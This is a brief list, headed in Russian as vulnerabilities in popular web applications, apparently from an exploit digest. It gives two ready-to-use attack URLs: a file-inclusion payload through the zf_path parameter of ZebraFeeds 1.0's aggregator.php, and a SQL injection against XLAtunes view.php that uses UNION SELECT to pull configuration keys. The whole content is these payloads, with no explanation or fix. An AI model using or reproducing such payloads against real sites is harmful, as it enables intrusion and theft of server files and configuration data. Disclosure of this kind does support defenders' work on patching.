Уязвимости в популярных web-приложениях

ZebraFeeds 1.0
http://[host]/newsfeeds/includes/aggregator.php?zf_path=[file]

XLAtunes View.PHP SQL Injection Vulnerability
http://www.example.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*